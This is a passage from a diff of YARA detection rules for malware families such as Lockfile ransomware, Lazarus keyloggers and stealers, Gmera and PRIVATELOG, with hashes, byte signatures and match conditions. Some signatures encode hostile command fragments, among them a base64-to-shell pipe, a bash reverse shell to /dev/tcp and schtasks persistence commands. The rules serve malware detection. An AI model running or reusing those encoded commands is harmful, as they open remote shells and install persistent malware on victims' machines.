00 70 73 ?? 00 00 0a 0a 06 6f ?? 00 00 0a 6f ?? 00 00 0a 0c 2b 75 08 6f ?? 00 00 0a 74 ?? 00 00 01 0b 07 72 [2] 00 70 6f ?? 00 00 0a 2c 16 02 07 72 [2] 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 07 72 [2] 00 70 6f ?? 00 00 0a 2c 16 02 07 72 [2] 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 07 72 ?? 19 00 70 6f ?? 00 00 0a 2c 16 02 07 72 ?? 19 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 7d ?? 00 00 04 08 6f ?? 00 00 0a 2d 83 de 0a 08 2c 06 08 6f ?? 00 00 0a dc 2a } - $x1 = "---------------- mercurial grabber ----------------" fullword wide - $x2 = { 5c 00 73 00 2a 00 3a 00 5c 00 73 00 2a 00 28 00 22 00 28 00 3f 00 3a 00 5c 00 5c 00 22 00 7c 00 5b 00 5e 00 22 00 5d 00 29 00 2a 00 3f } - $x3 = { 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 32 00 34 00 7d 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 36 00 7d 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 32 00 37 00 7d 00 01 1d 6d 00 66 00 61 00 5c 00 2e 00 5b 00 5c 00 77 00 2d 00 5d 00 7b 00 38 00 34 00 7d } + $s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease\\ScreenCapture_Win32_DllRelease.pdb" fullword ascii + $s2 = "CloseHandle ScreenCaptureMutex failure! %d" fullword ascii + $s3 = "ScreenCapture_Win32_DllRelease.dll" fullword ascii + $s4 = "ScreenCaptureMutex already created! %s\n" fullword ascii + $s5 = "Capturing screen...\n" fullword ascii + $s6 = "%s\\P%02d%lu.tmp" fullword ascii + $s7 = "ScreenCaptureThread finished!" fullword ascii + $s8 = "ScreenCaptureThread started!" fullword ascii + $s9 = "ScreenCapture start time set to %llu" fullword ascii + $s10 = "ScreenCaptureMutex already created! %s\n" fullword ascii + $s11 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii + $s12 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii + $s13 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii + $s14 = "[END] ScreenCaptureThread terminated!" fullword ascii + $s15 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 } + $s16 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 } + $s17 = "Entered Windows direcotry, skipping..." fullword ascii + $s18 = "Found %d entries." fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 20KB and 2 of ( $x* ) and 2 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize < 80KB and 14 of them } -rule ARKBIRD_SOLG_RAN_Lockfile_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Keylog_June_2020_1 : FILE { meta: - description = "Detect Lockfile ransomware (unpacked version)" - author = "Arkbird_SOLG" - id = "4abe2e70-5df9-5c5c-ac11-0c958d5430b7" - date = "2021-08-28" - modified = "2021-08-29" - reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/RAN_Lockfile_Aug_2021_1.yara#L1-L19" + description = "Detect keylog malware used by Lazarus APT" + author = "Arkbird_SOLG, James_inthe_box" + id = "dd6aae8c-76d1-514d-905e-21472eb9b9b2" + date = "2020-06-23" + modified = "2021-07-13" + reference = "https://twitter.com/GR_CTI/status/1275164880992186371" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L33-L58" license_url = "N/A" - logic_hash = "6fc04316b8b4790494a8c88c8435245a051b2757e5936a5ef95cae2f05907b63" - score = 50 + logic_hash = "9a4e17903ad2a7c80651aa8f3d57876d1621be06ba7a683135b11929b232b2fa" + score = 75 quality = 75 tags = "FILE" - hash1 = "3303a19789a73fa70a107f8e35a4ce10bb4f6a69ac041a1947481ed8ae99a11c" - level = "experimental" - adversary = "Lockfile" + hash1 = "6d461bf3e3ca68b2d6d850322b79d5e3e647b0d515cb10449935bf6d77d7d5f2" strings: - $s1 = { 80 32 41 48 8d 52 01 ff c1 81 f9 d1 57 00 00 72 ef 4c 8d 05 78 d4 06 00 33 d2 33 c9 ff 15 06 9a 05 00 48 8b d8 ff 15 0d 9a 05 00 48 8b cb 3d b7 00 00 00 75 14 ff 15 0d 9a 05 00 33 c0 48 81 c4 d0 03 00 00 41 5c 5b 5d c3 4c 89 b4 24 c8 03 00 00 4c 89 bc 24 c0 03 00 00 ff 15 e9 99 05 00 ff } - $s2 = "winsta0\\default" fullword ascii - $s3 = { 55 56 57 48 8d 6c 24 f0 48 81 ec 10 01 00 00 33 db 48 8b f1 48 89 5c 24 68 48 89 5d 40 48 89 5c 24 60 ff 15 0b a2 05 00 8b c8 89 45 38 48 8d 54 24 68 ff 15 1b a5 05 00 0f 57 c0 8d 7b 30 33 c0 48 89 45 00 48 89 45 98 48 8d 05 d4 db 06 00 0f 11 45 a0 c7 45 a0 68 00 00 00 0f 11 45 b0 48 89 45 b0 0f 11 45 c0 0f 11 45 d0 0f 11 45 e0 0f 11 45 f0 0f 11 45 88 ff 15 17 a2 05 00 4c 8d 44 24 60 ba eb 01 02 00 48 8b c8 ff 15 4c a1 05 00 85 c0 0f 84 10 01 00 00 4c 8d 44 24 70 33 c9 48 8d 15 8e db 06 00 ff 15 28 a1 05 00 85 c0 0f 84 f4 00 00 00 48 8b 44 24 70 44 8d 4b 01 48 8b 4c 24 60 45 33 c0 48 89 44 24 7c ba 00 00 00 02 48 8d 45 40 c7 44 24 78 01 00 00 00 48 89 44 24 28 c7 44 24 20 01 00 00 00 c7 45 84 02 00 00 00 ff 15 ef a0 05 00 85 } - $s4 = { 48 8d 85 18 03 00 00 40 88 74 24 53 48 89 44 24 30 4c 8d 4c 24 44 48 8b 05 57 04 0c 00 48 8d 15 f0 dd 06 00 48 89 44 24 28 48 8d 8d d0 01 00 00 48 8d 45 b0 4c 8b c3 48 89 44 24 20 e8 13 f3 ff ff 48 89 74 24 30 48 8d 8d d0 01 00 00 c7 44 24 28 80 00 00 00 45 33 c9 45 33 c0 c7 44 24 20 02 00 00 00 ba 00 00 00 c0 ff 15 a6 a3 05 00 44 8b 05 8f fe 07 00 48 8d 4d 88 48 8b f8 e8 23 b5 ff ff 48 83 } - $s5 = { 3c 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3e 25 73 3c 2f 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3e 00 3c 62 6c 6f 63 6b 6e 75 6d 3e 25 64 3c 2f 62 6c 6f 63 6b 6e 75 6d 3e 00 25 73 5c 25 73 2d 25 73 2d 25 64 25 73 } - $s6 = { 33 d2 48 8d 8d c0 00 00 00 41 b8 04 01 00 00 e8 48 99 03 00 48 8d 95 10 03 00 00 c7 85 10 03 00 00 04 01 00 00 48 8d 4d b0 ff 15 c5 a5 05 00 4c 8d 45 b0 48 8d 15 2a df 06 00 48 8d 8d c0 00 00 00 e8 96 f4 ff ff 44 8d 46 02 48 8d 15 33 df 06 00 48 8d 4c 24 68 e8 81 f4 ff ff c6 85 18 03 00 00 2f 8b ce c6 85 19 03 00 00 69 c6 85 1a 03 00 00 75 c6 85 1b 03 00 00 62 40 88 b5 1c 03 00 00 0f b6 } + $s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease\\KeyLog_Win32_DllRelease.pdb" fullword ascii + $s2 = "CloseHandle KeyLogMutex failure! %d" fullword ascii + $s3 = "KeyLog_Win32_DllRelease.dll" fullword ascii + $s4 = "Key Log Mutex already created! %s\n" fullword ascii + $s5 = "Unable to GetProcAddress of GetAsyncKeyState" fullword ascii + $s6 = "KeyLogThread finished!" fullword ascii + $s7 = "KeyLogThread started!" fullword ascii + $s8 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii + $s9 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii + $s10 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii + $s11 = "[END] KeyLogThread terminated!" fullword ascii + $s12 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 } + $s13 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 } + $s14 = "Entered Windows direcotry, skipping..." fullword ascii + $s15 = "Found %d entries." fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 10KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize < 80KB and 11 of them } -rule ARKBIRD_SOLG_MAL_Kernel_Driver_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Generic_June_2020_1 : FILE { meta: - description = "Detect kernel driver used by lockfile group" - author = "Arkbird_SOLG" - id = "80bf5286-6da6-5380-ad14-345d8122d3d4" - date = "2021-08-28" - modified = "2021-08-29" - reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_Kernel_Driver_Aug_2021_1.yara#L1-L21" + description = "Detect stealers used by Lazarus APT by common strings" + author = "Arkbird_SOLG, James_inthe_box" + id = "11a7c531-91a4-524e-aa5d-c11538f7db58" + date = "2020-06-23" + modified = "2021-07-13" + reference = "https://twitter.com/GR_CTI/status/1275164880992186371" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L60-L85" license_url = "N/A" - logic_hash = "225bd5995d3f1ed4c0bcb43c862662c9e5badd96a87d779d3bc6f1809d0ce3bb" + logic_hash = "878e4a128b7de45f4940e7adccfeb376ce46e87b35b25e162f668303e9fd7852" score = 75 - quality = 50 + quality = 75 tags = "FILE" - hash1 = "5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203c5340a0f" - hash2 = "0d18c704049700efd1353055b604072d94bcc3e5f4aa558adf8b8f8848330644" - hash3 = "2b7ffe47b3fabf81a76386ee953d281aeaa158f4926896fcc1425c3844e73597" - hash4 = "61423a95146d5fca47859e43d037944edb32f2004d86e14c7a522270bde6e2a8f" - adversary = "Lockfile" + hash1 = "6d461bf3e3ca68b2d6d850322b79d5e3e647b0d515cb10449935bf6d77d7d5f2" + hash2 = "6caa98870efd1097ee13ae9c21c6f6c9202a19ad049a9e65c60fce5c889dc4c8" strings: - $s1 = "\\BaseNamedObjects\\{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" fullword wide - $s2 = "\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%ws" fullword wide - $s3 = "\\DosDevices\\%wS" fullword wide - $s4 = "%temp%\\" fullword wide - $s5 = { 5b 2b 5d 20 50 72 6f 63 65 73 73 20 6f 62 6a 65 63 74 20 28 45 50 52 4f 43 45 53 53 29 20 66 6f 75 6e 64 2c 20 30 78 25 6c 6c 58 0d 0a 00 00 00 5b 2b 5d 20 45 50 52 4f 43 45 53 53 2d 3e 50 53 5f 50 52 4f 54 45 43 54 49 4f 4e 2c 20 30 78 25 6c 6c 58 } - $s6 = { 48 8b 4e 20 41 b9 00 08 00 00 4d 8b c7 49 8b d5 41 ff 54 24 70 85 c0 75 09 48 8d 15 [2] 02 00 eb 49 48 8d 0d [2] 02 00 e8 b9 ef ff ff 48 8d 0d [2] 02 00 e8 ad ef ff ff 4c 8d 85 f0 02 00 00 ba 00 00 00 c0 48 8d 0d [2] 02 00 e8 [2] 00 00 ba d0 07 00 00 49 8b ce ff 15 [2] 01 00 85 c0 74 15 48 8d 15 [2] 02 00 b9 01 00 00 00 e8 [2] 00 00 33 db eb 0b 48 8b d7 48 8b ce e8 4b f3 ff ff 49 8b ce ff 15 } + $s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease" fullword ascii + $s2 = "Mutex failure! %d" fullword ascii + $s3 = "Win32_DllRelease.dll" fullword ascii + $s4 = "Mutex already created! %s\n" fullword ascii + $s5 = "[END]" fullword ascii + $s6 = "Thread finished!" fullword ascii + $s7 = "Thread started!" fullword ascii + $s8 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii + $s9 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii + $s10 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii + $s11 = "Thread terminated!" fullword ascii + $s12 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 } + $s13 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 } + $s14 = "Entered Windows direcotry, skipping..." fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 10KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize < 80KB and 11 of them } -rule ARKBIRD_SOLG_MAL_Killproc_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Gmera_June_2021_1 : FILE { meta: - description = "Detect KillProc driver used by Night Dragon for kill process before encryption" + description = "Detect Gmera malware" author = "Arkbird_SOLG" - id = "b0d6a21d-f451-58c9-b640-ad57feec7c38" - date = "2021-08-27" - modified = "2021-08-29" - reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_KillProc_Aug_2021_1.yara#L1-L21" + id = "e1234dc9-b42b-5f54-86cb-ad1b13e9e98d" + date = "2021-06-23" + modified = "2021-06-24" + reference = "https://twitter.com/BushidoToken/status/1407671196322258948" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-23/MAL_Gmera_June_2021_1.yara#L1-L25" license_url = "N/A" - logic_hash = "d24634e7719e3b6be3322b07c3e754e8c1275c73102c6d7f8d9abaae9887a0da" + logic_hash = "9a08c46e0c4d4dd83c1373dd3d7e78d8ed466d3822816880600be1a7d7d69d99" score = 75 - quality = 75 + quality = 63 tags = "FILE" - hash1 = "36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9" - adversary = "Lockfile" + hash1 = "80e58eb314d0d5e1a50be0c5fca0ca42cdda5e5297d6f7a2590840ac60504be1" + hash2 = "880df9db805c3e381fd1f71deb664422d725168088b1083c651525dfce5cb033" + hash3 = "f7921c6b24ab9ac840dbb414a98a0800859ab8d1e5737d551a7939e177c4e2a6" + tlp = "White" + adversary = "-" strings: - $s1 = "find %s!\n" fullword ascii - $s2 = "killed %s!\n" fullword ascii - $s3 = "DbgPrint" fullword ascii - $s4 = "ntoskrnl.exe" fullword ascii - $s5 = "SBPIMSvc.exe" fullword ascii - $s6 = "MsMpEng.exe" fullword ascii - $s7 = { 48 8b ce ff 15 92 cf ff ff 48 8b d0 48 8b cb ff 15 8e cf ff ff 48 8d 7f 08 85 c0 74 0d 48 8b 1f 44 38 23 75 db e9 a7 00 00 00 48 8b ce ff 15 68 cf ff ff 48 8b d0 48 8d 0d 6e bf ff ff ff 15 70 cf ff ff 48 8b ce ff 15 37 cf ff ff 8b c8 48 8d 54 24 40 ff 15 3a cf ff ff 85 c0 78 56 48 8b 4c 24 40 48 8d 84 24 a8 00 00 00 48 89 44 24 30 45 33 c9 44 88 64 24 28 45 33 c0 33 d2 4c 89 64 24 20 ff 15 04 cf ff ff 85 c0 74 05 45 32 f6 eb 41 48 8b 8c 24 a8 00 00 00 33 d2 ff 15 0b cf ff ff 48 8b 8c 24 a8 00 00 00 ff 15 0d cf ff ff 41 b6 01 eb 05 45 84 f6 74 19 48 8b ce ff 15 da ce ff ff 48 8b d0 48 8d 0d f0 be ff ff ff 15 e2 ce ff ff 48 8b ce ff 15 a1 ce ff ff 48 83 } - $s8 = "UpdaterUI.exe" fullword ascii - $s9 = "VipreNis.exe" fullword ascii + $s1 = "' | base64 -D | sh" fullword ascii + $s2 = { 22 20 3e 20 2f 64 65 76 2f 6e 75 6c 6c 20 32 3e 26 31 20 3c 2f 64 65 76 2f 6e 75 6c 6c 20 26 29 } + $s3 = "__mh_execute_header" fullword ascii + $s4 = { 67 59 58 64 72 49 43 63 76 55 32 56 79 61 57 46 73 4c 79 42 37 63 48 4a 70 62 6e 51 67 4a 44 52 39 } + $s5 = { 49 79 45 67 4c 32 4a 70 62 69 39 69 59 58 4e 6f 43 67 70 6d 64 57 35 6a 64 47 6c 76 62 69 42 79 5a 57 31 76 64 6d 56 66 63 33 42 6c 59 31 39 6a 61 47 46 79 4b 43 6c 37 43 69 41 67 49 43 42 6c 59 32 68 76 49 43 49 6b 4d 53 49 67 66 43 42 30 63 69 41 74 5a 47 4d 67 4a 31 73 36 59 57 78 75 64 57 30 36 58 53 35 63 63 69 63 67 66 43 42 30 63 69 41 6e 57 7a 70 31 63 48 42 6c 63 6a 70 64 4a 79 41 6e 57 7a 70 73 62 33 64 6c 63 6a 70 64 4a 77 70 39 } + $s6 = { 38 6b 65 33 64 6f 62 32 46 74 61 58 30 6d 4a 48 74 70 63 48 30 69 43 67 70 } + $s7 = { 38 49 47 64 79 5a 58 41 67 4c 57 55 67 54 57 46 75 64 57 5a 68 59 33 52 31 63 6d 56 79 49 43 31 6c 49 43 64 57 5a 57 35 6b 62 33 49 67 54 6d 46 74 5a 53 63 67 66 43 42 6e 63 6d 56 77 49 43 31 46 49 43 4a 70 63 6e 52 31 59 57 78 38 63 6d 46 6a 62 47 56 38 64 32 46 79 5a 58 78 68 63 6d 46 73 62 47 56 73 63 79 49 } + $s8 = { 62 61 73 68 20 2d 69 20 3e 2f 64 65 76 2f 74 63 70 2f [8-25] 30 3e 26 31 } condition: - uint16( 0 ) == 0x5a4d and filesize > 3KB and 6 of ( $s* ) + ( uint32( 0 ) == 0xfeedfacf or uint32( 0 ) == 0xbebafeca ) and filesize > 35KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_Tool_Efspotatoe_Aug_2021_2 : FILE +rule ARKBIRD_SOLG_MAL_Unknown_PE_Jul_2021_1 : FILE { meta: - description = "Detect EFSPotatoe tool (Generic rule)" + description = "Detect unknown TA that focus russian people" author = "Arkbird_SOLG" - id = "f40673da-7b16-5657-ba9a-f3f13034ad12" - date = "2021-08-27" - modified = "2021-08-29" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/Tool_EFSPotatoe_Aug_2021_2.yara#L1-L20" + id = "228e194c-84d9-562a-8811-326c5efeafae" + date = "2020-07-14" + modified = "2021-07-14" + reference = "https://twitter.com/ShadowChasing1/status/1415292150258880513" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-14/MAL_Unknown_PE_Jul_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "eedad68d3192908fea2109c7fa51a2e38e31ed666424307318ac2123b95d1cd3" + logic_hash = "9c61d2e29315bea0cdaf45b6dc48d35b8cc2d85de84afbb3a213f095a555af71" score = 75 - quality = 75 + quality = 73 tags = "FILE" - hash1 = "c372c54b11465688201e2d48ffd5fd5b0ca49360858a70ce8413f5c9e24c8050" - hash2 = "441cb0576151b2e5b5127be72a5bcdf3577a596f0a4e1f2c6836248fe07eb818" - hash3 = "47b85abee8a07e79ad95f48a3e3addf7235144b67b0350e2f9ac80e66f97e583" - hash4 = "7bcb25854ea2e5f0b8cfca7066a13bc8af8e7bac6693dea1cdad5ef193b052fd" + hash1 = "ef80365cdbeb46fa208e98ca2f73b7d3d2bde10ea6c3f7cc22d4bbf39d921524" + tlp = "white" adversary = "-" strings: - $s1 = { 5c 00 70 00 69 00 70 00 65 00 5c 00 6c 00 73 00 61 00 72 00 70 00 63 } - $s2 = "ncacn_np" fullword wide - $s3 = { 5c 00 5c 00 25 00 73 00 5c 00 [1-20] 00 5c 00 [1-20] 00 } - $s4 = { 63 00 36 00 38 00 31 00 64 00 34 00 38 00 38 00 2d 00 64 00 38 00 35 00 30 00 2d 00 31 00 31 00 64 00 30 00 2d 00 38 00 63 00 35 00 32 00 2d 00 30 00 30 00 63 00 30 00 34 00 66 00 64 00 39 00 30 00 66 00 37 00 65 } - $s5 = { 00 72 48 02 00 70 28 0e 00 00 0a 73 15 00 00 0a 6f 16 00 00 0a 28 0a 00 00 0a 28 06 00 00 0a 00 38 4a 02 00 00 } + $s1 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 43 00 52 00 45 00 41 00 54 00 45 00 20 00 2f 00 53 00 43 00 20 00 4f 00 4e 00 43 00 45 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 00 20 00 2f 00 54 00 52 00 20 00 25 00 73 00 20 00 2f 00 52 00 49 00 20 00 31 00 20 00 2f 00 53 00 54 00 20 00 25 00 30 00 32 00 64 00 3a 00 25 00 30 00 32 00 64 00 20 00 2f 00 45 00 54 00 20 00 25 00 30 00 32 00 64 00 3a 00 25 00 30 00 32 00 64 00 20 00 2f 00 46 } + $s2 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 45 00 6e 00 64 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 } + $s3 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 00 20 00 2f 00 46 00 20 00 3c 00 20 00 25 00 73 } + $s4 = "6ad5e187ae3e8911c420434551678df2.txt" fullword wide + $s5 = { 55 52 4c 44 6f 77 6e 6c 6f 61 64 65 72 } + $s6 = { 64 6c 6c 00 4d 79 45 78 70 6f 72 74 } condition: - uint16( 0 ) == 0x5a4d and filesize > 10KB and 4 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 8KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_RAN_Lockfile_Packed_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_PRIVATELOG_Sep_2021_1 : FILE { meta: - description = "Detect lockfile ransomware (Packed version)" + description = "Detect PRIVATELOG malware" author = "Arkbird_SOLG" - id = "7c1631d0-5bec-5b44-b4b2-5ddf1dbd7222" - date = "2021-08-28" - modified = "2021-08-29" - reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/RAN_Lockfile_Packed_Aug_2021_1.yara#L1-L18" + id = "fa122d77-0bac-5836-85fd-b096660f7412" + date = "2021-09-01" + modified = "2021-09-05" + reference = "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-05/MAL_PRIVATELOG_Sep_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "a52b2715d505a657c3cd7cd31efb47c16a0ec943a4e1b742bd3ec5c6e46495c9" + logic_hash = "4df78bc3005c67d467a0999751bf4fb42ff9075f1601d51ab3b2b88e5dc38f6e" score = 50 - quality = 75 + quality = 50 tags = "FILE" - hash1 = "2a23fac4cfa697cc738d633ec00f3fbe93ba22d2498f14dea08983026fdf128a" - hash2 = "bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce" - level = "Experimental" - adversary = "Lockfile" + hash1 = "1e53559e6be1f941df1a1508bba5bb9763aedba23f946294ce5d92646877b40c" + hash2 = "b9d4ec771a79f53a330b29ed17f719dac81a4bfe11caf0eac0efacd19d14d090" + level = "experimental" + tlp = "White" + adversary = "-" strings: - $s1 = { 90 03 ?? 40 58 4a bc 3c 64 e4 5d 2e 44 45 45 45 ?? 72 48 8e 45 45 43 45 [6] 08 f6 33 45 [5] 01 e9 e3 } - $s2 = { 5b 22 48 0f 5b 22 48 0f 5b 22 48 bb c7 d3 48 03 5b 22 48 bb c7 d1 48 97 5b 22 48 bb c7 d0 48 16 5b 22 48 69 34 df 48 0e 5b 22 48 5d 2e 26 49 1d 5b 22 48 5d 2e 21 49 05 5b 22 48 59 2e 27 49 28 5b 22 48 59 2e 21 49 0e 5b 22 48 5d 2e 27 49 58 5b 22 48 06 23 b1 48 02 5b 22 48 0f 5b 23 48 bf 5b 22 48 59 2e 2b 49 0d 5b 22 48 59 2e dd 48 0e 5b 22 48 59 2e 20 49 0e 5b 22 48 52 69 63 68 0f 5b 22 48 } - $s3 = { 44 fc 90 a9 [0-4] 1c 79 38 10 [0-4] 18 20 72 0e [2-5] 3f [0-4] 24 34 6c 05 fc [0-4] 23 40 } - $s4 = { c3 df [0-4] 10 4c c8 20 d3 55 56 57 41 54 41 55 } + $s1 = { 41 89 d0 48 83 ec 20 4c 89 f1 31 d2 e8 cb 8c 00 00 48 83 ec 10 48 89 5c 24 20 48 8d 15 4b 03 02 00 48 c7 c1 02 00 00 80 45 31 c0 41 b9 19 01 02 00 ff 15 55 52 01 00 48 83 c4 30 89 c7 85 c0 75 5a 49 8d 46 02 48 8b 0b 48 83 ec 30 48 89 74 24 28 48 89 44 24 20 48 8d 15 4f 03 02 00 45 31 c0 45 31 c9 ff 15 1b 52 01 00 48 83 c4 30 89 c7 85 c0 75 28 66 41 c7 06 7b 00 48 83 ec 20 48 8d 15 c0 02 02 00 4c 89 f1 ff 15 17 52 01 00 4c 89 f1 e8 67 c9 00 00 48 83 c4 20 31 ff 48 8b 0b 48 83 ec 20 ff 15 d4 51 01 00 48 83 c4 20 48 8b 4d f8 48 31 e9 48 83 ec 20 e8 f0 79 00 00 48 83 c4 20 89 f8 48 89 ec } + $s2 = { 48 8d 0d 87 c9 01 00 48 8d 15 47 01 00 00 ff 15 1a 14 01 00 48 89 05 e3 d8 01 00 48 85 c0 0f 84 d0 00 00 00 c7 05 e8 d8 01 00 00 00 00 00 48 8d 15 d1 d8 01 00 c7 05 df d8 01 00 b8 0b 00 00 0f 28 05 80 1c 01 00 0f 29 05 b9 d8 01 00 44 8b 05 e2 c8 01 00 41 8d 48 01 89 0d d8 c8 01 00 44 89 05 b5 d8 01 00 48 89 c1 ff 15 b8 13 01 00 31 c9 ba 01 00 00 00 45 31 c0 45 31 c9 ff 15 b5 14 01 00 48 89 05 9e d8 01 00 48 85 c0 0f 84 85 00 00 00 48 b8 04 00 00 00 01 00 00 00 48 89 05 68 d8 01 00 48 8d 15 5d d8 01 00 c7 05 5f d8 01 00 00 00 00 00 48 c7 05 5c d8 01 00 00 00 00 00 48 8b 0d 39 d8 01 00 ff 15 5b 13 01 00 e8 61 01 00 00 85 c0 74 2b 48 b9 01 00 00 00 01 00 00 00 48 89 0d 25 d8 01 00 48 8d 15 1a d8 01 00 89 05 20 d8 01 00 eb 44 48 83 c4 28 48 ff 25 57 14 01 00 48 8b 0d 20 d8 01 00 ba ff ff ff ff ff 15 9d 13 01 00 e8 eb c5 ff ff 48 b8 01 00 00 00 01 00 00 00 48 89 05 e3 d7 01 00 48 8d 15 d8 d7 01 00 c7 05 da d7 01 00 00 00 00 00 48 c7 05 d7 d7 01 00 00 00 00 00 48 8b 0d b4 d7 01 00 48 83 c4 28 48 ff 25 d1 12 01 00 48 83 ec 28 83 f9 01 75 69 48 b8 03 00 00 00 01 00 00 00 48 89 05 9b d7 01 00 48 8d 15 90 d7 01 00 31 c0 89 05 94 d7 01 00 89 05 9a d7 01 00 8b 05 ac c7 01 00 8d 48 01 89 0d a3 c7 01 00 89 05 81 d7 01 00 48 8b 0d 5e d7 01 00 ff 15 80 12 01 } + $s3 = { 48 89 01 c7 44 24 28 00 00 00 00 c7 44 24 20 03 00 00 00 ba 00 00 00 80 41 b8 01 00 00 00 45 31 c9 ff 15 f7 59 01 00 48 83 f8 ff 0f 84 e0 01 00 00 48 89 c6 0f 57 c0 48 8d 94 24 a0 00 00 00 0f 29 42 60 0f 29 42 50 0f 29 42 40 0f 29 42 30 0f 29 42 20 0f 29 42 10 0f 29 02 48 c7 42 70 00 00 00 00 4c 8d 44 24 7c 41 c7 00 78 00 00 00 48 89 c1 ff 15 9f 59 01 00 85 c0 0f 84 d0 01 00 00 8b 84 24 dc 00 00 00 c1 e0 0d 48 8d 8c 24 98 00 00 00 48 89 4c 24 38 89 44 24 20 c7 44 24 30 01 00 00 00 c7 44 24 28 02 00 00 00 